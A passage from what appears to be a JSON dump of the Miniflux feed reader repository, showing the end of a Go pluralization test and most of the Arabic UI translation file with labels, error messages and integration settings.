translationDict{\n\t\t\tplurals: map[string][]string{\n\t\t\t\t\"items\": {\"no items\", \"one item\", \"two items\", \"few items\", \"many items\", \"other items\"},\n\t\t\t},\n\t\t},\n\t\t\"pl_PL\": translationDict{\n\t\t\tplurals: map[string][]string{\n\t\t\t\t\"files\": {\"one file\", \"few files\", \"many files\"},\n\t\t\t},\n\t\t},\n\t\t\"ja_JP\": translationDict{\n\t\t\tplurals: map[string][]string{\n\t\t\t\t\"photos\": {\"photos\"},\n\t\t\t},\n\t\t},\n\t}\n\n\ttests := []struct {\n\t\tlanguage string\n\t\tkey      string\n\t\tn        int\n\t\texpected string\n\t}{\n\t\t// Arabic tests\n\t\t{\"ar_SA\", \"items\", 0, \"no items\"},\n\t\t{\"ar_SA\", \"items\", 1, \"one item\"},\n\t\t{\"ar_SA\", \"items\", 2, \"two items\"},\n\t\t{\"ar_SA\", \"items\", 5, \"few items\"},   // n%100 >= 3 && n%100 <= 10\n\t\t{\"ar_SA\", \"items\", 15, \"many items\"}, // n%100 >= 11\n\n\t\t// Polish tests\n\t\t{\"pl_PL\", \"files\", 1, \"one file\"},\n\t\t{\"pl_PL\", \"files\", 3, \"few files\"},  // n%10 >= 2 && n%10 <= 4\n\t\t{\"pl_PL\", \"files\", 5, \"many files\"}, // default case\n\n\t\t// Japanese tests (always uses same form)\n\t\t{\"ja_JP\", \"photos\", 1, \"photos\"},\n\t\t{\"ja_JP\", \"photos\", 10, \"photos\"},\n\t}\n\n\tfor _, test := range tests {\n\t\tprinter := NewPrinter(test.language)\n\t\ttranslation := printer.Plural(test.key, test.n)\n\t\tif translation != test.expected {\n\t\t\tt.Errorf(`Wrong translation for %s with n=%d, got %q instead of %q`,\n\t\t\t\ttest.language, test.n, translation, test.expected)\n\t\t}\n\t}\n}\n"
  },
  {
    "path": "internal/locale/translations/ar_SA.json",
    "content": "{\n    \"action.cancel\": \"إلغاء\",\n    \"action.download\": \"تحميل\",\n    \"action.edit\": \"تعديل\",\n    \"action.home_screen\": \"إضافة إلى الشاشة الرئيسية\",\n    \"action.import\": \"استيراد\",\n    \"action.login\": \"تسجيل الدخول\",\n    \"action.or\": \"أو\",\n    \"action.remove\": \"حذف\",\n    \"action.remove_feed\": \"حذف هذا المصدر\",\n    \"action.save\": \"حفظ\",\n    \"action.subscribe\": \"اشتراك\",\n    \"action.update\": \"تحديث\",\n    \"alert.account_linked\": \"تم ربط حسابك الخارجي!\",\n    \"alert.account_unlinked\": \"تم فك ارتباط حسابك الخارجي!\",\n    \"alert.background_feed_refresh\": \"يتم تحديث جميع المصادر في الخلفية. يمكنك الاستمرار في استخدام Miniflux أثناء تشغيل هذه العملية.\",\n    \"alert.feed_error\": \"توجد مشكلة في هذا المصدر\",\n    \"alert.no_starred\": \"لا توجد في المُفضلة.\",\n    \"alert.no_category\": \"لا توجد فئة.\",\n    \"alert.no_category_entry\": \"لا توجد مقالات في هذه الفئة.\",\n    \"alert.no_feed\": \"ليس لديك أي مصادر.\",\n    \"alert.no_feed_entry\": \"لا توجد مقالات لهذا المصدر.\",\n    \"alert.no_feed_in_category\": \"لا يوجد مصدر لهذه الفئة.\",\n    \"alert.no_history\": \"لا يوجد سجل في الوقت الحالي.\",\n    \"alert.no_search_result\": \"لا توجد نتائج لهذا البحث.\",\n    \"alert.no_shared_entry\": \"لا توجد مشاركات.\",\n    \"alert.no_tag_entry\": \"لا توجد مقالات تطابق هذا الوسم.\",\n    \"alert.no_unread_entry\": \"لا توجد مقالات غير مقروءة.\",\n    \"alert.no_user\": \"أنت المستخدم الوحيد.\",\n    \"alert.prefs_saved\": \"تم حفظ التفضيلات!\",\n    \"alert.too_many_feeds_refresh\": [\n        \"لقد طلبت تحديث عدد كبير جداً من المصادر. يرجى الانتظار %d دقيقة قبل المحاولة مرة أخرى.\",\n        \"لقد طلبت تحديث عدد كبير جداً من المصادر. يرجى الانتظار دقيقة واحدة قبل المحاولة مرة أخرى.\",\n        \"لقد طلبت تحديث عدد كبير جداً من المصادر. يرجى الانتظار دقيقتين قبل المحاولة مرة أخرى.\",\n        \"لقد طلبت تحديث عدد كبير جداً من المصادر. يرجى الانتظار %d دقائق قبل المحاولة مرة أخرى.\",\n        \"لقد طلبت تحديث عدد كبير جداً من المصادر. يرجى الانتظار %d دقيقة قبل المحاولة مرة أخرى.\",\n        \"لقد طلبت تحديث عدد كبير جداً من المصادر. يرجى الانتظار %d دقيقة قبل المحاولة مرة أخرى.\"\n    ],\n    \"confirm.loading\": \"جارٍ التحميل...\",\n    \"confirm.no\": \"لا\",\n    \"confirm.question\": \"هل أنت متأكد؟\",\n    \"confirm.question.refresh\": \"هل أنت متأكد أنك تريد فرض التحديث؟\",\n    \"confirm.yes\": \"نعم\",\n    \"enclosure_media_controls.seek\": \"بحث:\",\n    \"enclosure_media_controls.seek.title\": \"بحث %s ثانية\",\n    \"enclosure_media_controls.speed\": \"السرعة:\",\n    \"enclosure_media_controls.speed.faster\": \"أسرع\",\n    \"enclosure_media_controls.speed.faster.title\": \"أسرع بـ %sx\",\n    \"enclosure_media_controls.speed.reset\": \"إعادة تعيين\",\n    \"enclosure_media_controls.speed.reset.title\": \"إعادة تعيين السرعة إلى 1x\",\n    \"enclosure_media_controls.speed.slower\": \"أبطأ\",\n    \"enclosure_media_controls.speed.slower.title\": \"أبطأ بـ %sx\",\n    \"entry.starred.toast.off\": \"أزيلت من المفضلة\",\n    \"entry.starred.toast.on\": \"أضيفت للمفضلة\",\n    \"entry.starred.toggle.off\": \"إزالة من المفضلة\",\n    \"entry.starred.toggle.on\": \"إضافة للمفضلة\",\n    \"entry.comments.label\": \"تعليقات\",\n    \"entry.comments.title\": \"عرض التعليقات\",\n    \"entry.estimated_reading_time\": [\n        \"قراءة %d دقيقة\",\n        \"قراءة دقيقة واحدة\",\n        \"قراءة دقيقتين\",\n        \"قراءة %d دقائق\",\n        \"قراءة %d دقيقة\",\n        \"قراءة %d دقيقة\"\n    ],\n    \"entry.external_link.label\": \"رابط خارجي\",\n    \"entry.save.completed\": \"تم!\",\n    \"entry.save.label\": \"حفظ\",\n    \"entry.save.title\": \"حفظ هذا المقال\",\n    \"entry.save.toast.completed\": \"تم حفظ المقال\",\n    \"entry.scraper.completed\": \"تم!\",\n    \"entry.scraper.label\": \"تحميل\",\n    \"entry.scraper.title\": \"جلب المحتوى الأصلي\",\n    \"entry.share.label\": \"مشاركة\",\n    \"entry.share.title\": \"مشاركة هذا المقال\",\n    \"entry.shared_entry.label\": \"مشاركة\",\n    \"entry.shared_entry.title\": \"فتح الرابط العام\",\n    \"entry.state.loading\": \"جارٍ التحميل...\",\n    \"entry.state.saving\": \"جارٍ الحفظ...\",\n    \"entry.status.mark_as_read\": \"تحديد كمقروء\",\n    \"entry.status.mark_as_unread\": \"تحديد كغير مقروء\",\n    \"entry.status.title\": \"تغيير حالة المقال\",\n    \"entry.status.toast.read\": \"تم تحديده كمقروء\",\n    \"entry.status.toast.unread\": \"تم تحديده كغير مقروء\",\n    \"entry.tags.label\": \"الوسوم:\",\n    \"entry.tags.more_tags_label\": [\n        \"إظهار %d وسم\",\n        \"إظهار وسم واحد\",\n        \"إظهار وسمين\",\n        \"إظهار %d وسوم\",\n        \"إظهار %d وسماً\",\n        \"إظهار %d وسماً\"\n    ],\n    \"entry.unshare.label\": \"إلغاء المشاركة\",\n    \"error.api_key_already_exists\": \"مفتاح API هذا موجود بالفعل.\",\n    \"error.bad_credentials\": \"اسم المستخدم أو كلمة المرور غير صالحة.\",\n    \"error.category_already_exists\": \"هذه الفئة موجودة بالفعل.\",\n    \"error.category_not_found\": \"هذه الفئة غير موجودة أو لا تنتمي لهذا المستخدم.\",\n    \"error.database_error\": \"خطأ في قاعدة البيانات: %v.\",\n    \"error.different_passwords\": \"كلمات المرور غير متطابقة.\",\n    \"error.duplicate_fever_username\": \"يوجد بالفعل شخص آخر بنفس اسم مستخدم Fever!\",\n    \"error.duplicate_googlereader_username\": \"يوجد بالفعل شخص آخر بنفس اسم مستخدم Google Reader!\",\n    \"error.linktaco_missing_required_fields\": \"مطلوب رمز LinkTaco API و Organization Slug\",\n    \"error.duplicate_linked_account\": \"يوجد بالفعل شخص مرتبط بهذا الموفر!\",\n    \"error.duplicated_feed\": \"هذا المصدر موجود بالفعل.\",\n    \"error.empty_file\": \"هذا الملف فارغ.\",\n    \"error.entries_per_page_invalid\": \"عدد المقالات في الصفحة غير صالح.\",\n    \"error.feed_already_exists\": \"هذا المصدر موجود بالفعل.\",\n    \"error.feed_category_not_found\": \"هذه الفئة غير موجودة أو لا تنتمي لهذا المستخدم.\",\n    \"error.feed_format_not_detected\": \"تعذر اكتشاف تنسيق المصدر: %v.\",\n    \"error.feed_invalid_blocklist_rule\": \"قاعدة قائمة الحظر غير صالحة.\",\n    \"error.feed_invalid_keeplist_rule\": \"قاعدة قائمة الاحتفاظ غير صالحة.\",\n    \"error.feed_mandatory_fields\": \"الرابط والفئة إلزاميان.\",\n    \"error.feed_not_found\": \"هذا المصدر غير موجود أو لا ينتمي لهذا المستخدم.\",\n    \"error.feed_title_not_empty\": \"عنوان المصدر لا يمكن أن يكون فارغاً.\",\n    \"error.feed_url_not_empty\": \"رابط المصدر لا يمكن أن يكون فارغاً.\",\n    \"error.fields_mandatory\": \"جميع الحقول إلزامية.\",\n    \"error.http_bad_gateway\": \"الموقع غير متاح حالياً بسبب خطأ في البوابة (Bad Gateway). المشكلة ليست من جانب Miniflux. يرجى المحاولة لاحقاً.\",\n    \"error.http_body_read\": \"تعذر قراءة محتوى استجابة HTTP: %v.\",\n    \"error.http_client_error\": \"خطأ في عميل HTTP: %v.\",\n    \"error.http_empty_response\": \"استجابة HTTP فارغة. ربما يستخدم هذا الموقع آلية حماية ضد الروبوتات؟\",\n    \"error.http_empty_response_body\": \"محتوى استجابة HTTP فارغ.\",\n    \"error.http_forbidden\": \"الوصول إلى هذا الموقع ممنوع. ربما يوجد آلية حماية ضد الروبوتات؟\",\n    \"error.http_gateway_timeout\": \"الموقع غير متاح حالياً بسبب انتهاء مهلة البوابة. المشكلة ليست من جانب Miniflux. يرجى المحاولة لاحقاً.\",\n    \"error.http_internal_server_error\": \"الموقع غير متاح حالياً بسبب خطأ في الخادم. المشكلة ليست من جانب Miniflux. يرجى المحاولة لاحقاً.\",\n    \"error.http_not_authorized\": \"الوصول إلى هذا الموقع غير مصرح به. قد يكون اسم المستخدم أو كلمة المرور غير صحيحة.\",\n    \"error.http_resource_not_found\": \"المورد المطلوب غير موجود. يرجى التحقق من الرابط.\",\n    \"error.http_response_too_large\": \"استجابة HTTP كبيرة جداً. يمكنك زيادة حد حجم استجابة HTTP في الإعدادات العامة (يتطلب إعادة تشغيل الخادم).\",\n    \"error.http_service_unavailable\": \"الموقع غير متاح حالياً بسبب خطأ داخلي في الخادم. المشكلة ليست من جانب Miniflux. يرجى المحاولة لاحقاً.\",\n    \"error.http_too_many_requests\": \"أنشأ Miniflux عدداً كبيراً جداً من الطلبات لهذا الموقع. يرجى المحاولة لاحقاً أو تغيير إعدادات التطبيق.\",\n    \"error.http_unexpected_status_code\": \"الموقع غير متاح حالياً بسبب رمز حالة HTTP غير متوقع: %d. المشكلة ليست من جانب Miniflux. يرجى المحاولة لاحقاً.\",\n    \"error.invalid_categories_sorting_order\": \"ترتيب فرز الفئات غير صالح.\",\n    \"error.invalid_default_home_page\": \"الصفحة الرئيسية الافتراضية غير صالحة!\",\n    \"error.invalid_display_mode\": \"وضع عرض تطبيق الويب غير صالح.\",\n    \"error.invalid_entry_direction\": \"اتجاه المقال غير صالح.\",\n    \"error.invalid_entry_order\": \"ترتيب المقال غير صالح.\",\n    \"error.invalid_feed_proxy_url\": \"رابط الوكيل (Proxy) غير صالح.\",\n    \"error.invalid_feed_url\": \"رابط المصدر غير صالح.\",\n    \"error.invalid_gesture_nav\": \"تصفح الإيماءات غير صالح.\",\n    \"error.invalid_language\": \"اللغة غير صالحة.\",\n    \"error.invalid_site_url\": \"رابط الموقع غير صالح.\",\n    \"error.invalid_theme\": \"السمة غير صالحة.\",\n    \"error.invalid_timezone\": \"المنطقة الزمنية غير صالحة.\",\n    \"error.network_operation\": \"Miniflux غير قادر على الوصول إلى هذا الموقع بسبب خطأ في الشبكة: %v.\",\n    \"error.network_timeout\": \"هذا الموقع بطيء جداً وانتهى وقت الطلب: %v\",\n    \"error.password_min_length\": \"يجب أن تتكون كلمة المرور من 6 أحرف على الأقل.\",\n    \"error.proxy_url_not_empty\": \"رابط الوكيل لا يمكن أن يكون فارغاً.\",\n    \"error.settings_block_rule_fieldname_invalid\": \"قاعدة الحظر غير صالحة: القاعدة رقم #%d تفتقد لاسم حقل صالح (الخيارات: %s)\",\n    \"error.settings_block_rule_invalid_regex\": \"قاعدة الحظر غير صالحة: نمط القاعدة #%d ليس تعبيرًا نمطيًا (regex) صالحًا\",\n    \"error.settings_block_rule_regex_required\": \"قاعدة الحظر غير صالحة: لم يتم توفير نمط للقاعدة #%d\",\n    \"error.settings_block_rule_separator_required\": \"قاعدة الحظر غير صالحة: يجب فصل نمط القاعدة #%d بـ '='\",\n    \"error.settings_invalid_domain_list\": \"قائمة النطاقات غير صالحة. يرجى تقديم قائمة مفصولة بمسافات للنطاقات.\",\n    \"error.settings_keep_rule_fieldname_invalid\": \"قاعدة الاحتفاظ غير صالحة: القاعدة رقم #%d تفتقد لاسم حقل صالح (الخيارات: %s)\",\n    \"error.settings_keep_rule_invalid_regex\": \"قاعدة الاحتفاظ غير صالحة: نمط القاعدة #%d ليس تعبيرًا نمطيًا (regex) صالحًا\",\n    \"error.settings_keep_rule_regex_required\": \"قاعدة الاحتفاظ غير صالحة: لم يتم توفير نمط للقاعدة #%d\",\n    \"error.settings_keep_rule_separator_required\": \"قاعدة الاحتفاظ غير صالحة: يجب فصل نمط القاعدة #%d بـ '='\",\n    \"error.settings_mandatory_fields\": \"حقول اسم المستخدم، السمة، اللغة، والمنطقة الزمنية إلزامية.\",\n    \"error.settings_media_playback_rate_range\": \"سرعة التشغيل خارج النطاق\",\n    \"error.settings_reading_speed_is_positive\": \"يجب أن تكون سرعة القراءة أرقاماً صحيحة موجبة.\",\n    \"error.site_url_not_empty\": \"رابط الموقع لا يمكن أن يكون فارغاً.\",\n    \"error.subscription_not_found\": \"تعذر العثور على أي مصدر.\",\n    \"error.title_required\": \"العنوان إلزامي.\",\n    \"error.tls_error\": \"خطأ TLS: %q. يمكنك تعطيل التحقق من TLS في إعدادات المصدر إذا كنت ترغب في ذلك.\",\n    \"error.unable_to_create_api_key\": \"تعذر إنشاء مفتاح API هذا.\",\n    \"error.unable_to_create_category\": \"تعذر إنشاء هذه الفئة.\",\n    \"error.unable_to_create_user\": \"تعذر إنشاء هذا المستخدم.\",\n    \"error.unable_to_detect_rssbridge\": \"تعذر اكتشاف المصدر باستخدام RSS-Bridge: %v.\",\n    \"error.unable_to_parse_feed\": \"تعذر تحليل هذا المصدر: %v.\",\n    \"error.unable_to_update_category\": \"تعذر تحديث هذه الفئة.\",\n    \"error.unable_to_update_feed\": \"تعذر تحديث هذا المصدر.\",\n    \"error.unable_to_update_user\": \"تعذر تحديث هذا المستخدم.\",\n    \"error.unlink_account_without_password\": \"يجب عليك تحديد كلمة مرور وإلا لن تتمكن من تسجيل الدخول مرة أخرى.\",\n    \"error.user_already_exists\": \"هذا المستخدم موجود بالفعل.\",\n    \"error.user_mandatory_fields\": \"اسم المستخدم إلزامي.\",\n    \"form.api_key.label.description\": \"تسمية مفتاح API\",\n    \"form.category.hide_globally\": \"إخفاء المقالات من القائمة العامة غير المقروءة\",\n    \"form.category.label.title\": \"العنوان\",\n    \"form.feed.fieldset.general\": \"عام\",\n    \"form.feed.fieldset.integration\": \"خدمات الطرف الثالث\",\n    \"form.feed.fieldset.network_settings\": \"إعدادات الشبكة\",\n    \"form.feed.fieldset.rules\": \"قواعد\",\n    \"form.feed.label.allow_self_signed_certificates\": \"السماح بالشهادات الموقعة ذاتياً أو غير الصالحة\",\n    \"form.feed.label.apprise_service_urls\": \"قائمة عناوين URL لخدمة Apprise مفصولة بفاصلة\",\n    \"form.feed.label.block_filter_entry_rules\": \"قواعد حظر المقالات\",\n    \"form.feed.label.blocklist_rules\": \"مرشحات الحظر المعتمدة على Regex\",\n    \"form.feed.label.category\": \"الفئة\",\n    \"form.feed.label.cookie\": \"تعيين ملفات تعريف الارتباط (Cookies)\",\n    \"form.feed.label.crawler\": \"جلب المحتوى الأصلي\",\n    \"form.feed.label.ignore_entry_updates\": \"تجاهل تحديثات المقالات\",\n    \"form.feed.label.description\": \"الوصف\",\n    \"form.feed.label.disable_http2\": \"تعطيل HTTP/2 لتجنب التتبع\",\n    \"form.feed.label.disabled\": \"لا تقم بتحديث هذا المصدر\",\n    \"form.feed.label.feed_password\": \"كلمة مرور المصدر\",\n    \"form.feed.label.feed_url\": \"رابط المصدر\",\n    \"form.feed.label.feed_username\": \"اسم مستخدم المصدر\",\n    \"form.feed.label.fetch_via_proxy\": \"استخدم الوكيل الذي تم تكوينه على مستوى التطبيق\",\n    \"form.feed.label.hide_globally\": \"إخفاء المقالات من القائمة العامة غير المقروءة\",\n    \"form.feed.label.ignore_http_cache\": \"تجاهل ذاكرة التخزين المؤقت لـ HTTP\",\n    \"form.feed.label.keep_filter_entry_rules\": \"قواعد السماح للمقالات\",\n    \"form.feed.label.keeplist_rules\": \"مرشحات الاحتفاظ المعتمدة على Regex\",\n    \"form.feed.label.no_media_player\": \"بدون مشغل الوسائط (صوت / فيديو)\",\n    \"form.feed.label.ntfy_activate\": \"إرسال المقالات إلى ntfy\",\n    \"form.feed.label.ntfy_default_priority\": \"أولوية Ntfy الافتراضية\",\n    \"form.feed.label.ntfy_high_priority\": \"أولوية Ntfy عالية\",\n    \"form.feed.label.ntfy_low_priority\": \"أولوية Ntfy منخفضة\",\n    \"form.feed.label.ntfy_max_priority\": \"أقصى أولوية Ntfy\",\n    \"form.feed.label.ntfy_min_priority\": \"أدنى أولوية Ntfy\",\n    \"form.feed.label.ntfy_priority\": \"أولوية Ntfy\",\n    \"form.feed.label.ntfy_topic\": \"موضوع Ntfy (اختياري)\",\n    \"form.feed.label.proxy_url\": \"رابط الوكيل (Proxy)\",\n    \"form.feed.label.pushover_activate\": \"إرسال المقالات إلى Pushover\",\n    \"form.feed.label.pushover_default_priority\": \"الأولوية الافتراضية\",\n    \"form.feed.label.pushover_high_priority\": \"أولوية عالية\",\n    \"form.feed.label.pushover_low_priority\": \"أولوية منخفضة\",\n    \"form.feed.label.pushover_max_priority\": \"أولوية قصوى\",\n    \"form.feed.label.pushover_min_priority\": \"أولوية دنيا\",\n    \"form.feed.label.pushover_priority\": \"أولوية رسالة Pushover\",\n    \"form.feed.label.rewrite_rules\": \"قواعد إعادة كتابة المحتوى\",\n    \"form.feed.label.scraper_rules\": \"قواعد الكاشط (Scraper)\",\n    \"form.feed.label.site_url\": \"رابط الموقع\",\n    \"form.feed.label.title\": \"العنوان\",\n    \"form.feed.label.urlrewrite_rules\": \"قواعد إعادة كتابة الروابط\",\n    \"form.feed.label.user_agent\": \"تجاوز وكيل المستخدم الافتراضي (User Agent)\",\n    \"form.feed.label.webhook_url\": \"تجاوز رابط الويب هوك (Webhook)\",\n    \"form.import.label.file\": \"ملف OPML\",\n    \"form.import.label.url\": \"الرابط\",\n    \"form.integration.archiveorg_activate\": \"إرسال المقالات إلى archive.org\",\n    \"form.integration.apprise_activate\": \"إرسال المقالات إلى Apprise\",\n    \"form.integration.apprise_services_url\": \"قائمة عناوين URL لخدمة Apprise مفصولة بفاصلة\",\n    \"form.integration.apprise_url\": \"رابط Apprise API\",\n    \"form.integration.betula_activate\": \"حفظ المقالات في Betula\",\n    \"form.integration.betula_token\": \"رمز Betula\",\n    \"form.integration.betula_url\": \"رابط خادم Betula\",\n    \"form.integration.cubox_activate\": \"حفظ المقالات في Cubox\",\n    \"form.integration.cubox_api_link\": \"رابط Cubox API\",\n    \"form.integration.discord_activate\": \"إرسال المقالات إلى Discord\",\n    \"form.integration.discord_webhook_link\": \"رابط Discord Webhook\",\n    \"form.integration.espial_activate\": \"حفظ المقالات في Espial\",\n    \"form.integration.espial_api_key\": \"مفتاح Espial API\",\n    \"form.integration.espial_endpoint\": \"نقطة نهاية Espial API\",\n    \"form.integration.espial_tags\": \"وسوم Espial\",\n    \"form.integration.fever_activate\": \"تفعيل Fever API\",\n    \"form.integration.fever_endpoint\": \"نقطة نهاية Fever API:\",\n    \"form.integration.fever_password\": \"كلمة مرور Fever\",\n    \"form.integration.fever_username\": \"اسم مستخدم Fever\",\n    \"form.integration.googlereader_activate\": \"تفعيل Google Reader API\",\n    \"form.integration.googlereader_endpoint\": \"نقطة نهاية Google Reader API:\",\n    \"form.integration.googlereader_password\": \"كلمة مرور Google Reader\",\n    \"form.integration.googlereader_username\": \"اسم مستخدم Google Reader\",\n    \"form.integration.instapaper_activate\": \"حفظ المقالات في Instapaper\",\n    \"form.integration.instapaper_password\": \"كلمة مرور Instapaper\",\n    \"form.integration.instapaper_username\": \"اسم مستخدم Instapaper\",\n    \"form.integration.karakeep_activate\": \"حفظ المقالات في Karakeep\",\n    \"form.integration.karakeep_api_key\": \"مفتاح Karakeep API\",\n    \"form.integration.karakeep_url\": \"نقطة نهاية Karakeep API\",\n    \"form.integration.karakeep_tags\": \"وسوم Karakeep\",\n    \"form.integration.linkace_activate\": \"حفظ المقالات في LinkAce\",\n    \"form.integration.linkace_api_key\": \"مفتاح LinkAce API\",\n    \"form.integration.linkace_check_disabled\": \"تعطيل فحص الرابط\",\n    \"form.integration.linkace_endpoint\": \"نقطة نهاية LinkAce API\",\n    \"form.integration.linkace_is_private\": \"تحديد الرابط كخاص\",\n    \"form.integration.linkace_tags\": \"وسوم LinkAce\",\n    \"form.integration.linkding_activate\": \"حفظ المقالات في Linkding\",\n    \"form.integration.linkding_api_key\": \"مفتاح Linkding API\",\n    \"form.integration.linkding_bookmark\": \"تحديد الإشارة المرجعية كغير مقروءة\",\n    \"form.integration.linkding_endpoint\": \"نقطة نهاية Linkding API\",\n    \"form.integration.linkding_tags\": \"وسوم Linkding\",\n    \"form.integration.linktaco_activate\": \"حفظ المقالات في LinkTaco\",\n    \"form.integration.linktaco_api_token\": \"رمز LinkTaco API\",\n    \"form.integration.linktaco_api_token_hint\": \"احصل على رمز الوصول الشخصي الخاص بك في\",\n    \"form.integration.linktaco_org_slug\": \"Slug المؤسسة\",\n    \"form.integration.linktaco_tags\": \"الوسوم (بحد أقصى 10، مفصولة بفواصل)\",\n    \"form.integration.linktaco_tags_hint\": \"حد أقصى 10 وسوم، مفصولة بفواصل\",\n    \"form.integration.linktaco_visibility\": \"الرؤية\",\n    \"form.integration.linktaco_visibility_public\": \"عام\",\n    \"form.integration.linktaco_visibility_private\": \"خاص\",\n    \"form.integration.linktaco_visibility_hint\": \"تتطلب رؤية خاصة حساب LinkTaco مدفوع\",\n    \"form.integration.linkwarden_activate\": \"حفظ المقالات في Linkwarden\",\n    \"form.integration.linkwarden_api_key\": \"مفتاح Linkwarden API\",\n    \"form.integration.linkwarden_endpoint\": \"رابط Linkwarden الأساسي\",\n    \"form.integration.linkwarden_collection_id\": \"معرف مجموعة Linkwarden\",\n    \"form.integration.matrix_bot_activate\": \"إرسال مقالات جديدة إلى Matrix\",\n    \"form.integration.matrix_bot_chat_id\": \"معرف غرفة Matrix\",\n    \"form.integration.matrix_bot_password\": \"كلمة مرور مستخدم Matrix\",\n    \"form.integration.matrix_bot_url\": \"رابط خادم Matrix\",\n    \"form.integration.matrix_bot_user\": \"اسم المستخدم في Matrix\",\n    \"form.integration.notion_activate\": \"حفظ المقالات في Notion\",\n    \"form.integration.notion_page_id\": \"معرف صفحة Notion\",\n    \"form.integration.notion_token\": \"رمز Notion السري\",\n    \"form.integration.ntfy_activate\": \"إرسال المقالات إلى ntfy\",\n    \"form.integration.ntfy_api_token\": \"رمز Ntfy API (اختياري)\",\n    \"form.integration.ntfy_icon_url\": \"رابط أيقونة Ntfy (اختياري)\",\n    \"form.integration.ntfy_internal_links\": \"استخدام روابط داخلية عند النقر (اختياري)\",\n    \"form.integration.ntfy_password\": \"كلمة مرور Ntfy (اختياري)\",\n    \"form.integration.ntfy_topic\": \"موضوع Ntfy (يستخدم الافتراضي إذا لم يُحدد في المصدر)\",\n    \"form.integration.ntfy_url\": \"رابط Ntfy (اختياري، الافتراضي هو ntfy.sh)\",\n    \"form.integration.ntfy_username\": \"اسم مستخدم Ntfy (اختياري)\",\n    \"form.integration.nunux_keeper_activate\": \"حفظ المقالات في Nunux Keeper\",\n    \"form.integration.nunux_keeper_api_key\": \"مفتاح Nunux Keeper API\",\n    \"form.integration.nunux_keeper_endpoint\": \"نقطة نهاية Nunux Keeper API\",\n    \"form.integration.omnivore_activate\": \"حفظ المقالات في Omnivore\",\n    \"form.integration.omnivore_api_key\": \"مفتاح Omnivore API\",\n    \"form.integration.omnivore_url\": \"نقطة نهاية Omnivore API\",\n    \"form.integration.pinboard_activate\": \"حفظ المقالات في Pinboard\",\n    \"form.integration.pinboard_bookmark\": \"تحديد الإشارة المرجعية كغير مقروءة\",\n    \"form.integration.pinboard_tags\": \"وسوم Pinboard\",\n    \"form.integration.pinboard_token\": \"رمز Pinboard API\",\n    \"form.integration.pushover_activate\": \"إرسال المقالات إلى Pushover\",\n    \"form.integration.pushover_device\": \"جهاز Pushover (اختياري)\",\n    \"form.integration.pushover_prefix\": \"بادئة رابط Pushover (اختياري)\",\n    \"form.integration.pushover_token\": \"رمز API لتطبيق Pushover\",\n    \"form.integration.pushover_user\": \"مفتاح مستخدم Pushover\",\n    \"form.integration.raindrop_activate\": \"حفظ المقالات في Raindrop\",\n    \"form.integration.raindrop_collection_id\": \"معرف المجموعة\",\n    \"form.integration.raindrop_tags\": \"الوسوم (مفصولة بفواصل)\",\n    \"form.integration.raindrop_token\": \"رمز (تجريبي)\",\n    \"form.integration.readeck_activate\": \"حفظ المقالات في readeck\",\n    \"form.integration.readeck_api_key\": \"مفتاح Readeck API\",\n    \"form.integration.readeck_endpoint\": \"رابط Readeck\",\n    \"form.integration.readeck_labels\": \"تسميات Readeck\",\n    \"form.integration.readeck_only_url\": \"إرسال الرابط فقط (بدلاً من المحتوى الكامل)\",\n    \"form.integration.readeck_push_activate\": \"إرسال المقالات الجديدة تلقائياً إلى Readeck\",\n    \"form.integration.readwise_activate\": \"حفظ المقالات في Readwise Reader\",\n    \"form.integration.readwise_api_key\": \"رمز الوصول لـ Readwise Reader\",\n    \"form.integration.readwise_api_key_link\": \"احصل على رمز الوصول لـ Readwise الخاص بك\",\n    \"form.integration.rssbridge_activate\": \"تحقق من RSS-Bridge عند إضافة الاشتراكات\",\n    \"form.integration.rssbridge_token\": \"رمز مصادقة RSS-Bridge\",\n    \"form.integration.rssbridge_url\": \"رابط خادم RSS-Bridge\",\n    \"form.integration.shaarli_activate\": \"حفظ المقالات في Shaarli\",\n    \"form.integration.shaarli_api_secret\": \"سر Shaarli API\",\n    \"form.integration.shaarli_endpoint\": \"رابط Shaarli\",\n    \"form.integration.shiori_activate\": \"حفظ المقالات في Shiori\",\n    \"form.integration.shiori_endpoint\": \"نقطة نهاية Shiori API\",\n    \"form.integration.shiori_password\": \"كلمة مرور Shiori\",\n    \"form.integration.shiori_username\": \"اسم مستخدم Shiori\",\n    \"form.integration.slack_activate\": \"إرسال المقالات إلى Slack\",\n    \"form.integration.slack_webhook_link\": \"رابط Slack Webhook\",\n    \"form.integration.telegram_bot_activate\": \"إرسال المقالات الجديدة إلى دردشة Telegram\",\n    \"form.integration.telegram_bot_disable_buttons\": \"تعطيل الأزرار\",\n    \"form.integration.telegram_bot_disable_notification\": \"تعطيل الإشعارات\",\n    \"form.integration.telegram_bot_disable_web_page_preview\": \"تعطيل معاينة الرابط\",\n    \"form.integration.telegram_bot_token\": \"رمز البوت (Token)\",\n    \"form.integration.telegram_chat_id\": \"معرف الدردشة\",\n    \"form.integration.telegram_topic_id\": \"معرف الموضوع (Topic ID)\",\n    \"form.integration.wallabag_activate\": \"حفظ المقالات في Wallabag\",\n    \"form.integration.wallabag_client_id\": \"معرف عميل Wallabag\",\n    \"form.integration.wallabag_client_secret\": \"سر عميل Wallabag\",\n    \"form.integration.wallabag_endpoint\": \"رابط Wallabag الأساسي\",\n    \"form.integration.wallabag_only_url\": \"إرسال الرابط فقط (بدلاً من المحتوى الكامل)\",\n    \"form.integration.wallabag_password\": \"كلمة مرور Wallabag\",\n    \"form.integration.wallabag_username\": \"اسم مستخدم Wallabag\",\n    \"form.integration.wallabag_tags\": \"وسوم Wallabag\",\n    \"form.integration.webhook_activate\": \"تفعيل Webhooks\",\n    \"form.integration.webhook_secret\": \"سر Webhooks\",\n    \"form.integration.webhook_url\": \"رابط Webhook الافتراضي\",\n    \"form.prefs.fieldset.application_settings\": \"إعدادات التطبيق\",\n    \"form.prefs.fieldset.authentication_settings\": \"إعدادات المصادقة\",\n    \"form.prefs.fieldset.global_feed_settings\": \"إعدادات المصادر العامة\",\n    \"form.prefs.fieldset.reader_settings\": \"إعدادات القارئ\",\n    \"form.prefs.help.external_font_hosts\": \"قائمة مفصولة بمسافات لمضيفي الخطوط الخارجية للسماح بها. مثال: \\\"fonts.gstatic.com fonts.googleapis.com\\\".\",\n    \"form.prefs.label.always_open_external_links\": \"قراءة المقالات عن طريق فتح الروابط الخارجية\",\n    \"form.prefs.label.categories_sorting_order\": \"فرز الفئات\",\n    \"form.prefs.label.cjk_reading_speed\": \"سرعة القراءة للغات الصينية والكورية واليابانية (حرف في الدقيقة)\",\n    \"form.prefs.label.custom_css\": \"CSS مخصص\",\n    \"form.prefs.label.custom_js\": \"JavaScript مخصص\",\n  